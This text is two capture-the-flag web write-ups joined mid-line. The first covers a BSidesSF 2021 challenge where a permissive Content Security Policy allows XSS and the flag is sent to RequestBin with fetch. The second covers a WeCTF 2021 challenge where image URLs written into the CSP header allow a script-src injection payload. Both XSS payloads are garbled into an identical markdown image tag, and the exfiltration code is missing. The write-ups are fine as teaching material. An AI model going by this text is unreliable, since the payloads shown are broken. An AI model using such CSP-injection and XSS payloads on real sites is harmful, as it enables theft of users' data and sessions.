Check out [https://fadec0d3.blogspot.com/2021/03/bsidessf-2021-web-
challenges.html#csp-1](https://fadec0d3.blogspot.com/2021/03/bsidessf-2021-web-
challenges.html#csp-1) for writeup with images.

\---

If we look at the Content Security Policy (CSP) for this page, we can see it's  
very open. To identify this, you can learn each rule or use a tool such as
[https://csp-evaluator.withgoogle.com/](https://csp-
evaluator.withgoogle.com/).

The CSP in this case was:

```javascript  
default-src 'self' 'unsafe-inline' 'unsafe-eval'; script-src-elem 'self';
connect-src *  
```

The unsafe-inline keyword will allow execution of arbitrary inline scripts.

Let's start with a simple XSS payload:

```html  
![](x)  
```

This already works! So now we only need to get the flag from the  
`/csp-one-flag` route after the admin visits it. We can use
[fetch](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API) for this.  
We'll also use [https://requestbin.io/](https://requestbin.io/) again.

Here's the final payload submitted to the admin:

```html  
![](x)  
```

And we get a flag back on the RequestBin side:

```  
CTF{Can_Send_Payloads}  
```

Original writeup (https://fadec0d3.blogspot.com/2021/03/bsidessf-2021-web-
challenges.html#csp-1).Looking into code of app.py we see that filter_url() adds all image urls to
img-src policy.  
```  
def filter_url(urls):  
domain_list = []  
for url in urls:  
domain = urllib.parse.urlparse(url).scheme + "://" +
urllib.parse.urlparse(url).netloc  
if domain:  
domain_list.append(domain)  
return " ".join(domain_list)  
  
@app.route('/display/<token>')  
def display(token):  
user_obj = Post.select().where(Post.token == token)  
content = user_obj[-1].content if len(user_obj) > 0 else "Not Found"  
img_urls = [x['src'] for x in bs(content).find_all("img")]  
tmpl = render_template("display.html", content=content)  
resp = make_response(tmpl)  
resp.headers["Content-Security-Policy"] = "default-src 'none'; connect-src
'self'; img-src " \  
f"'self' {filter_url(img_urls)}; script-src 'none'; " \  
"style-src 'self'; base-uri 'self'; form-action 'self' "  
return resp  
```

We just need to inject script-src policty that allows us to execute.

Payload:  
```![](https://*; script-src 'unsafe-inline')```

Original writeup (https://github.com/19201/WeCTF-2021).